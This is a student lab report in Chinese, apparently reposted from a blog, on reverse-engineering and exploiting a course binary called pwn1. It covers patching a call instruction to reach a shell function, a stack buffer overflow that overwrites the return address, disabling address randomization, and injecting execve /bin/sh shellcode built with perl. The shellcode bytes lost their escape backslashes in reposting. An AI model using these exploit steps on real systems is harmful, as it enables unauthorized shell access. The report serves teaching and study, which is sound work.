zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175204 张湲祯《网络对抗技术》Exp1 PC平台逆向破解

    2019-2020-2 20175204 张湲祯《网络对抗技术》Exp1 PC平台逆向破解

    一、实验任务

    1.直接修改程序机器指令,改变程序执行流程

    2.通过构造输入参数,造成BOF攻击,改变程序执行流

    2.1反汇编,了解程序的基本功能

    2.2确认输入字符串哪几个字符会覆盖到返回地址

    2.3确认用什么值来覆盖返回地址

    2.4构造输入字符串

    3.注入Shellcode并执行

    3.1准备一段Shellcode

    3.2准备工作

    3.3构造要注入的payload

    3.4执行

    二、实验要求

    1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    2.掌握反汇编与十六进制编程器

    3.能正确修改机器指令改变程序执行流程

    4.能正确构造payload进行bof攻击

    三、实验中遇到的问题

    四、相关问题

    五、实验感想

    实验步骤:

    1.1直接修改程序机器指令,改变程序执行流程

    (1)下载并解压文件pwn1,用objdump -d pwn1 | more反汇编并分页显示。

    (2)通过/main找到主函数位置;其中执行跳转的语句call 8048491,它对应的机器指令为e8 d7 ff ff ff;e8即跳转。本来正常流程,EIP的值应该是下条指令的地址,即80484ba

    (3)这条指令将调用位于地址8048491处的foo函数;
    输入/foo查找foo函数,如下图:
    当执行e8 d7ffffff时,就会执行EIP + d7ffffff这个位置的指令。而d7ffffff是补码,表示-41,41=0x29 80484ba + d7ffffff= 80484ba-0x29正好是8048491这个值

    (4)main函数调用foo,对应机器指令为e8 d7ffffff,而要达到改变执行程序、使执行由foo改变为getshell就要修改机器指令,从指向08048491改为指向0804847d,新 eip 为 0804847d = 80484ba + 偏移量;利用Windows计算器,计算0804847d-80484ba就能得到补码,是c3ffffff
    (5)修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
    cp pwn1 pwn2复制文件,以保留修改前文件;使用vi编辑pwn2文件,打开后发现是一堆乱码,是因为已汇编为机器代码,需要进入十六进制模式,按Esc后输入:%!xxd,并输入/d7查找e8d7ffffff


    (6)接下来修改地址,将d7改为c3,按r后可以更改,输入:%!xxd -r将16进制转换为原格式后退出。

    (7)再输入objdump -d pwn2 | more反汇编查看指令是否更改


    (9)运行pwn1和pwn2对比:
    可见pwn1还是实现foo的功能,显示用户输入的内容;而pwn2则调用实现shell功能。


    1.2通过构造输入参数,造成BOF攻击,改变程序执行流

    (1)输入objdump -d pwn1 | more反汇编pwn1
    该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞,即向这个缓冲区填入超出长度的字符串,多出来的内容会溢出并覆盖相邻的内存,当这段字符串设定后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。
    foo函数读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,这样就可以覆盖返回地址。

    (2)确认输入字符串哪几个字符会覆盖到返回地址
    这里我们使用gdb调试功能
    其中EIP的值为0x35353535

    (3)再次调试程序,继续查看EIP中的值
    EIP中值为0x34333231,分别为4、3、2、1的ASCII码值,发现输入的1234被覆盖到堆栈上的返回地址。

    (4)1234最终会覆盖到堆栈上的返回地址,只要把1234替换为getShell的内存地址,输给pwn1,pwn1就会跳转到getShell函数。
    (5)由于数据按小端存储,因此我们应该输11111111222222223333333344444444x7dx84x04x08,由于没法通过键盘输入x7dx84x04x08这样的16进制值,需要用到perl功能翻译perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    x0a表示回车。

    (6)将该字符串用./pwn1输入,运行后输入该字符串,会提示段错误,没有跳转到getShell函数,说明我们复制显示出的字符串并不是翻译得到的正确值。

    (7)因此使用16进制查看指令xxd查看input文件的内容。然后将input的输入,通过管道符“|”,作为pwn1的输入(cat input;cat) | ./pwn20175204


    1.3注入Shellcode并执行

    (1)准备工作
    依次输入:
    execstack -s pwn1 //设置堆栈可执行
    execstack -q pwn1 //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space

    (2)Linux下有两种基本构造攻击buf的方法:
    retaddr+nop+shellcode
    nop+shellcode+retaddr
    利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的x4x3x2x1会覆盖到堆栈上的返回地址。
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    打开一个终端注入这段攻击buf:
    (cat input_shellcode;cat) | ./pwn (注意这时先不要按回车,否则后续找不到该进程)
    (3)开另外一个终端,输入ps -ef | grep pwn1查pwn1的进程号
    用gdb来调试pwn1这个进程。
    进程号为2445
    输入attach2445启动gdb调试这个进程。

    (4)输入disassemble foo对foo进行反汇编查看到ret的地址为0x080484ae
    0x080484ae处设置断点,输入break *0x080484ae
    在之前的终端中按下回车,然后在调试的终端中输入c继续运行。
    输入info r esp查看栈顶指针所在的位置,并查看改地址存放的数据:
    0xffffd32c存放的数据是01020304,就是返回地址的位置。shellcode地址就是 0xffffd32c+4,即0xffffd330

    (6)修改文件中代码为
    perl -e 'print "A" x 32;print "x30xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    执行(cat input_shellcode;cat) | ./pwn1,如下图所示攻击成功,执行shell功能:


    2.实验内容:

    2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP:NOP指令即“空指令”,机器码为:0x90
    JNE:条件转移指令,如果不相等则跳转,机器码为:0x75
    JE:条件转移指令,如果相等则跳转,机器码为:0x74
    JMP:无条件转移指令,机器码为:Short Jump(短跳转):0xEB;Near Jump(近跳转):0xE9;Far Jump(远跳转):0xEA
    CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果,机器码为:0x39

    2.2 掌握反汇编与十六进制编程器

    反汇编指令为:objdump -d <文件名>
    十六进制编辑器perl指令为:perl -e 'print "xxx"' > input

    2.3能正确修改机器指令改变程序执行流程

    见实验内容1.1

    2.4能正确构造payload进行bof攻击

    见实验内容1.3

    3.实验中遇到的问题

    问题1:在使用gdb调试时,显示命令未找到。
    解决方案:使用apt-get install gdb命令下载。
    问题2:在执行execstack命令时显示命令未找到。

    解决方案:同理使用apt-get install prelink下载。
    问题3:输入echo "0" > /proc/sys/kernel/randomize_va_space后提示权限不够。
    解决方案:使用sudo -s命令进入管理员模式输入。

    4.相关问题:什么是漏洞?漏洞有什么危害?

    答:漏洞简单来说就是某些规则、协议、策略、代码中有制定不周密、有缺陷的地方;在之前信息安全技术课上也学习过漏洞的相关知识,规范上来讲漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,如果系统有了漏洞未及时打补丁进行修复,那么很有可能会被恶意攻击,例如利用TCP/IP协议的漏洞进行洪水攻击等,系统有漏洞也会容易被攻击,可能会被窃取重要信息、或者篡改重要信息甚至破坏系统。

    5.实验感想

    通过本次实验对缓冲区溢出攻击有了更直观的认识,以前只是在课上学习过缓冲区溢出攻击,就是通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令;但对于缓冲区溢出攻击的了解也仅仅局限于这些,也无法具体实现,在这次实验中,认识到了是如何修改返回地址进行攻击的,本次实验也发现自己的汇编课程内容也忘了很多了,还需要努力学习。

  • 相关阅读:
    MySQL中查询表及索引大小的方法
    转:一套大而全的系统架构体系与具体落地方案
    [转]1年时间业务量疯长40倍,谈人人车的平台架构演进之路
    [转]如何实现“持续集成”?闲鱼把研发效率翻了个翻
    微服务介绍
    Python2.X和Python3.X的w7同时安装使用
    黑客与画家阅读体会
    Open Source 开发工具集
    volatile和不加volatile的区别
    VMware改变硬盘空间大小的方法
  • 原文地址:https://www.cnblogs.com/zyzgl/p/12444670.html
Copyright © 2011-2022 走看看